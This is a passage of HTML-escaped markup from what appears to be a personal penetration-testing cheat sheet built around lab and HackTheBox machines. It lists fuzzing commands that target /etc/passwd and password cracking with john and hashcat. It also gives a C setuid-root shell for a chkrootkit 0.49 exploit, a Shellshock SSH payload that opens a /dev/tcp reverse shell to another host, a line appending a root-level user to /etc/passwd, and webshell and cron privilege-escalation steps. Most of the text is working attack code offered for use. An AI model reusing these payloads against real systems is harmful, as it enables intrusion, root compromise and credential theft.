OFF&#9;&#9;&#9;#Disable prompts so downloads no longer require y/n confirmation&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mget *&#9;&#9;&#9;&#9;#Download files in bulk; * is a wildcard that matches all filenames during recursive traversal&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;get xxxxx ; Download a file&#10;&lt;strong&gt;put xxxxx&lt;/strong&gt; ; Upload a file&#10;mget * ; Download all files in the current directory&#10;&lt;strong&gt;tar c test.tar notes/&lt;/strong&gt; ; Archive all files under the notes directory&lt;/p&gt;&#10;&lt;h3 id="12steghide"&gt;&lt;a href="#12steghide" class="header-anchor"&gt;&lt;/a&gt;12.steghide&#10;&lt;/h3&gt;&lt;p&gt;A steganography tool. Use &amp;ndash;help to see the detailed commands you need.&lt;/p&gt;&#10;&lt;p&gt;steghide info plainsight.jpg&lt;/p&gt;&#10;&lt;p&gt;steghide extract -sf irked.jpg -p UPupDOWNdownLRlrBAbaSSss&lt;/p&gt;&#10;&lt;h3 id="13ffuf"&gt;&lt;a href="#13ffuf" class="header-anchor"&gt;&lt;/a&gt;13.ffuf&#10;&lt;/h3&gt;&lt;p&gt;A fuzzing tool. See help or find a blog post for details.&lt;/p&gt;&#10;&lt;p&gt;ffuf -u -c http://192.168.1.9/test.php?FUZZ=/etc/passwd -w /usr/share/dirb/wordlists/common.txt&lt;/p&gt;&#10;&lt;p&gt;ffuf -u http://10.10.10.84/browse.php?file=FUZZ -w /usr/share/dirb/wordlists/common.txt -c -fs 300-400&lt;/p&gt;&#10;&lt;p&gt;wfuzz -c -w /usr/share/wordlists/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u &lt;a class="link" href="http://10.10.10.197" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.197&lt;/a&gt; -H &amp;ldquo;Host: FUZZ.sneakycorp.htb&amp;rdquo; &amp;ndash;hh 185&lt;/p&gt;&#10;&lt;p&gt;ffuf -w /usr/share/wordlists/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u &lt;a class="link" href="http://10.10.10.197" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.197&lt;/a&gt; -H &amp;ldquo;HOST: FUZZ.sneakycorp.htb&amp;rdquo; -fs 185&lt;/p&gt;&#10;&lt;h3 id="14privilege-escalation-by-modifying-a-file"&gt;&lt;a href="#14privilege-escalation-by-modifying-a-file" class="header-anchor"&gt;&lt;/a&gt;14.Privilege Escalation by Modifying a File&#10;&lt;/h3&gt;&lt;p&gt;If sudo lets you execute a root-owned file, change it to the format below to escalate privileges directly.&lt;/p&gt;&#10;&lt;p&gt;#!/bin/bash&#10;bash -ip&lt;/p&gt;&#10;&lt;h3 id="15knock"&gt;&lt;a href="#15knock" class="header-anchor"&gt;&lt;/a&gt;15.knock&#10;&lt;/h3&gt;&lt;p&gt;I&amp;rsquo;ve collected two port-knocking methods.&lt;/p&gt;&#10;&lt;p&gt;The image below shows an example port-knocking configuration.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/oscp-exploit-notes/image-0001.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;knock 192.168.1.5 33 44 55&lt;/p&gt;&#10;&lt;p&gt;nmap -Pn &amp;ndash;host-timeout 201 &amp;ndash;max-retries 0 -p 159 192.168.1.5&lt;/p&gt;&#10;&lt;h3 id="16brute-forcing-an-id_rsa-private-key"&gt;&lt;a href="#16brute-forcing-an-id_rsa-private-key" class="header-anchor"&gt;&lt;/a&gt;16.Brute-forcing an id_rsa Private Key&#10;&lt;/h3&gt;&lt;p&gt;I ran into this situation in a lab today, so I went and learned how to handle it.&lt;/p&gt;&#10;&lt;p&gt;cd /usr/share/john&#10;Use the ssh2john.py file in this directory to convert the format.&#10;./ssh2john.py ~/id_rsa &amp;gt; ~/hash converts id_rsa into content that john can recognize.&#10;Start brute-forcing:&#10;john hash &amp;ndash;wordlist=/usr/share/wordlists/rockyou.txt&lt;/p&gt;&#10;&lt;p&gt;john &amp;ndash;format=md5crypt &amp;ndash;wordlist=/usr/share/wordlists/rockyou.txt ./temp_passwd # Brute-force the hash as md5crypt, which is type 1&lt;/p&gt;&#10;&lt;p&gt;john &amp;ndash;format=NT &amp;ndash;wordlist=/usr/share/wordlists/rockyou.txt hashes.txt&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;hashcat -m 1000 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt --force&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;hashcat -m 1000 hashes.txt --show&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Identify the corresponding hash format&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;hashcat --help | grep -i &amp;#34;Kerberos&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="17newgrp"&gt;&lt;a href="#17newgrp" class="header-anchor"&gt;&lt;/a&gt;17.newgrp&#10;&lt;/h3&gt;&lt;p&gt;newgrp is a Linux command for switching user groups. It lets a user temporarily switch to another group so they can run commands or access specific files as that group.&lt;/p&gt;&#10;&lt;p&gt;newgrp&lt;/p&gt;&#10;&lt;h3 id="18building-a-file-upload-environment"&gt;&lt;a href="#18building-a-file-upload-environment" class="header-anchor"&gt;&lt;/a&gt;18.Building a File-Upload Environment&#10;&lt;/h3&gt;&lt;p&gt;This creates an environment for uploading files, so you do not have to construct the request packet yourself. Just find the endpoint and upload through it.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;html&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;body&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;form&lt;/span&gt; &lt;span class="na"&gt;method&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;post&amp;#34;&lt;/span&gt; &lt;span class="na"&gt;action&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;http://192.168.1.5/themes/dashboard/assets/plugins/jquery-file-upload/server/php/&amp;#34;&lt;/span&gt; &lt;span class="na"&gt;enctype&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;multipart/form-data&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;input&lt;/span&gt; &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;file&amp;#34;&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;files[]&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;input&lt;/span&gt; &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;submit&amp;#34;&lt;/span&gt; &lt;span class="na"&gt;value&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;send&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;form&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;body&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;html&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl http://192.168.225.249:33414/file-upload -F &amp;#34;file=@/home/kali/hackthebox/ft.txt&amp;#34; -v -X POST -H &amp;#34;Content-Type: multipart/form-data&amp;#34; -F filename=&amp;#34;/tmp/authorized_keys&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="19chkrootkit-unconventional-privilege-escalation"&gt;&lt;a href="#19chkrootkit-unconventional-privilege-escalation" class="header-anchor"&gt;&lt;/a&gt;19.chkrootkit (Unconventional Privilege Escalation)&#10;&lt;/h3&gt;&lt;p&gt;Details: &lt;a class="link" href="https://zhuanlan.zhihu.com/p/26357609" target="_blank" rel="noopener"&#10; &gt;Research on Exploiting and Preventing the Chkrootkit 0.49 Local Privilege-Escalation Vulnerability - Zhihu&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Find the chkrootkit directory. It usually contains a README where you can check the version.&lt;/p&gt;&#10;&lt;p&gt;It is usually under /etc/chkrootkit.&lt;/p&gt;&#10;&lt;p&gt;Or, even better, use this command:&lt;/p&gt;&#10;&lt;p&gt;./chkrootkit -V If it is 0.49, you can escalate privileges using the method above.&lt;/p&gt;&#10;&lt;p&gt;The exact process is as follows.&lt;/p&gt;&#10;&lt;p&gt;Save the file as updata.c and download it to the /tmp directory on the target machine.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;unistd.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nf"&gt;system&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;chown root:root /tmp/update&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nf"&gt;system&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;chmod 4755 /tmp/update&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nf"&gt;setuid&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nf"&gt;setgid&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nf"&gt;execl&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;/bin/sh&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;sh&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;gcc -o update update.c # Compile it&lt;/p&gt;&#10;&lt;p&gt;Once compilation finishes, enter the chkrootkit directory and run chkrootkit once: ./chkrootkit&lt;/p&gt;&#10;&lt;p&gt;You will find that /tmp/update now has root permissions.&lt;/p&gt;&#10;&lt;p&gt;Return to the tmp directory and run ./updata to obtain root privileges.&lt;/p&gt;&#10;&lt;h3 id="20checking-the-system-version-and-kernel"&gt;&lt;a href="#20checking-the-system-version-and-kernel" class="header-anchor"&gt;&lt;/a&gt;20.Checking the System Version and Kernel&#10;&lt;/h3&gt;&lt;p&gt;uname -r&lt;/p&gt;&#10;&lt;p&gt;cat /etc/*-release&lt;/p&gt;&#10;&lt;p&gt;lsb_release -a&lt;/p&gt;&#10;&lt;h3 id="21dirty-cow-linux-local-privilege-escalation-vulnerability-cve-2016-5195"&gt;&lt;a href="#21dirty-cow-linux-local-privilege-escalation-vulnerability-cve-2016-5195" class="header-anchor"&gt;&lt;/a&gt;21.Dirty COW Linux Local Privilege-Escalation Vulnerability (CVE-2016-5195)&#10;&lt;/h3&gt;&lt;p&gt;&lt;a class="link" href="https://gist.github.com/rverton/e9d4ff65d703a9084e85fa9df083c679" target="_blank" rel="noopener"&#10; &gt;https://gist.github.com/rverton/e9d4ff65d703a9084e85fa9df083c679&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Affected versions:&lt;/p&gt;&#10;&lt;p&gt;Centos7 /RHEL7 3.10.0-327.36.3.el7&#10;Cetnos6/RHEL6 2.6.32-642.6.2.el6&#10;Ubuntu 16.10 4.8.0-26.28&#10;Ubuntu 16.04 4.4.0-45.66&#10;Ubuntu 14.04 3.13.0-100.147&#10;Debian 8 3.16.36-1+deb8u2&#10;Debian 7 3.2.82-1&lt;/p&gt;&#10;&lt;h3 id="22apport-ubuntu-140414101504---race-condition-privilege-escalation-vulnerability"&gt;&lt;a href="#22apport-ubuntu-140414101504---race-condition-privilege-escalation-vulnerability" class="header-anchor"&gt;&lt;/a&gt;22.Apport (Ubuntu 14.04/14.10/15.04) - Race-Condition Privilege-Escalation Vulnerability&#10;&lt;/h3&gt;&lt;p&gt;&lt;a class="link" href="https://www.exploit-db.com/exploits/37088" target="_blank" rel="noopener"&#10; &gt;Apport (Ubuntu 14.04/14.10/15.04) - Race Condition Privilege Escalation - Linux local Exploit&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;I never expected this privilege-escalation exploit to run. This type of exp is not common for me, so I assumed it would not be very useful. It does work, though, so I&amp;rsquo;m noting it down for now.&lt;/p&gt;&#10;&lt;h3 id="23hexchatirc"&gt;&lt;a href="#23hexchatirc" class="header-anchor"&gt;&lt;/a&gt;23.hexchat(IRC)&#10;&lt;/h3&gt;&lt;p&gt;The default password for ngIRCd is &amp;rsquo; wealllikedebian &amp;lsquo;.&lt;/p&gt;&#10;&lt;h3 id="24smtp-user-enum"&gt;&lt;a href="#24smtp-user-enum" class="header-anchor"&gt;&lt;/a&gt;24.smtp-user-enum&#10;&lt;/h3&gt;&lt;p&gt;SMTP user enumeration. See help for detailed usage instructions.&lt;/p&gt;&#10;&lt;p&gt;smtp-user-enum -M VRFY -U ./test.txt -t 192.168.1.10&lt;/p&gt;&#10;&lt;h3 id="25shellshock"&gt;&lt;a href="#25shellshock" class="header-anchor"&gt;&lt;/a&gt;25.shellshock&#10;&lt;/h3&gt;&lt;p&gt;While working on a lab, I ran into a connection that dropped immediately after succeeding. I searched for ages but could not find a vulnerability tutorial for &amp;ldquo;executing a command during an SSH connection.&amp;rdquo; The only suggestion I found was to append &amp;ldquo;ls -al&amp;rdquo; to the connection command, but that did not work. I later found this vulnerability in a write-up.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://unix.stackexchange.com/questions/157477/how-can-shellshock-be-exploited-over-ssh" target="_blank" rel="noopener"&#10; &gt;bash - how can shellshock be exploited over SSH? - Unix &amp;amp; Linux Stack Exchange&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&amp;lsquo;() { :;}; command&amp;rsquo; # Append this when connecting; command is the command to execute&lt;/p&gt;&#10;&lt;p&gt;ssh -i noob &lt;a class="link" href="mailto:noob@192.168.1.5" &gt;noob@192.168.1.5&lt;/a&gt; -o PubkeyAcceptedKeyTypes=ssh-rsa &amp;ldquo;() { :;}; bash -c &amp;rsquo;exec bash -i &amp;gt;&amp;amp; /dev/tcp/192.168.1.8/1111 &amp;lt;&amp;amp;1&amp;rsquo;&amp;rdquo;&lt;/p&gt;&#10;&lt;h3 id="26apache2conf-privilege-escalation"&gt;&lt;a href="#26apache2conf-privilege-escalation" class="header-anchor"&gt;&lt;/a&gt;26.apache2.conf Privilege Escalation&#10;&lt;/h3&gt;&lt;p&gt;The basic idea is to add a user and group to apache2.conf. After Apache restarts, the configuration takes effect. Place a webshell in /var/www/html beforehand; after the restart, trigger the webshell to get a reverse shell with the permissions of the user you added.&lt;/p&gt;&#10;&lt;p&gt;Root cannot start it by default, so this is for escalating to another user. You need permission to restart Apache and modify apache2.conf.&lt;/p&gt;&#10;&lt;p&gt;#User ${APACHE_RUN_USER}&#10;#Group ${APACHE_RUN_GROUP}&lt;/p&gt;&#10;&lt;p&gt;User test&lt;/p&gt;&#10;&lt;p&gt;Group test&lt;/p&gt;&#10;&lt;p&gt;The /etc/apache2/sites-enabled directory contains configuration files.&lt;/p&gt;&#10;&lt;h3 id="27netstat--tuln"&gt;&lt;a href="#27netstat--tuln" class="header-anchor"&gt;&lt;/a&gt;27.netstat -tuln&#10;&lt;/h3&gt;&lt;p&gt;Check which ports are in use. This command is simple and there is not much to it, but I&amp;rsquo;m noting it down anyway.&lt;/p&gt;&#10;&lt;p&gt;netstat -tuln&lt;/p&gt;&#10;&lt;p&gt;netstat -ano&lt;/p&gt;&#10;&lt;h3 id="28dig"&gt;&lt;a href="#28dig" class="header-anchor"&gt;&lt;/a&gt;28.dig&#10;&lt;/h3&gt;&lt;p&gt;To enumerate subdomains, put the domain after dig and the DNS server after @.&lt;/p&gt;&#10;&lt;p&gt;dig hackers.blackhat.local @192.168.2.177&lt;/p&gt;&#10;&lt;p&gt;dig @10.10.10.123 friendzoneportal.red AXFR&lt;/p&gt;&#10;&lt;p&gt;dnsenum fabricorp.local &amp;ndash;dnsserver 10.10.10.193&lt;/p&gt;&#10;&lt;p&gt;This command returns records for the entire DNS zone, including all A, AAAA, CNAME, and MX records, along with subdomain information.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dnstool.py -u &amp;#39;DOMAIN\user&amp;#39; -p &amp;#39;password&amp;#39; --record &amp;#39;*&amp;#39; --action query &amp;lt;dc_ip&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="29privilege-escalation-with-the-python-cap_sys_ptraceep-capability"&gt;&lt;a href="#29privilege-escalation-with-the-python-cap_sys_ptraceep-capability" class="header-anchor"&gt;&lt;/a&gt;29.Privilege Escalation with the Python cap_sys_ptrace+ep Capability&#10;&lt;/h3&gt;&lt;p&gt;Command: getcap -r / 2&amp;gt;/dev/null |grep python&lt;/p&gt;&#10;&lt;p&gt;Output: /usr/bin/python2.7 = cap_sys_ptrace+ep&lt;/p&gt;&#10;&lt;p&gt;Script:&#10;&lt;a class="link" href="https://gist.githubusercontent.com/wifisecguy/1d69839fe855c36a1dbecca66948ad56/raw/e919439010bbabed769d86303ff18ffbacdaecfd/inject.py" target="_blank" rel="noopener"&#10; &gt;https://gist.githubusercontent.com/wifisecguy/1d69839fe855c36a1dbecca66948ad56/raw/e919439010bbabed769d86303ff18ffbacdaecfd/inject.py&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Tutorial:&#10;&lt;a class="link" href="https://www.cnblogs.com/zlgxzswjy/p/15185591.html" target="_blank" rel="noopener"&#10; &gt;https://www.cnblogs.com/zlgxzswjy/p/15185591.html&lt;/a&gt;&lt;/p&gt;&#10;&lt;h3 id="30-etcpasswd-privilege-escalation"&gt;&lt;a href="#30-etcpasswd-privilege-escalation" class="header-anchor"&gt;&lt;/a&gt;30. /etc/passwd Privilege Escalation&#10;&lt;/h3&gt;&lt;p&gt;When /etc/passwd is writable, add a user entry and switch to it with su.&lt;/p&gt;&#10;&lt;p&gt;Generate a salted password. Password is the password to set, and salt is the salt to use.&lt;/p&gt;&#10;&lt;p&gt;perl -le &amp;lsquo;print crypt(&amp;ldquo;Password&amp;rdquo;,&amp;ldquo;salt&amp;rdquo;)&amp;rsquo;&lt;/p&gt;&#10;&lt;p&gt;Write it to /etc/passwd, then switch users with su.&lt;/p&gt;&#10;&lt;p&gt;echo &amp;ldquo;hack:ad7t5uIalqMws:0:0::/root:/bin/bash&amp;rdquo; &amp;raquo; /etc/passwd&lt;/p&gt;&#10;&lt;h3 id="31cron-job-privilege-escalation"&gt;&lt;a href="#31cron-job-privilege-escalation" class="header-anchor"&gt;&lt;/a&gt;31.Cron-Job Privilege Escalation&#10;&lt;/h3&gt;&lt;p&gt;cat /etc/crontab&lt;/p&gt;&#10;&lt;p&gt;Inspect the scheduled tasks and identify the important part.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# */5 * * * * root cd /var/www/html/ &amp;amp;&amp;amp; sudo ./finally.sh&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;Column 1: Minute (0-59)&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;Column 2: Hour 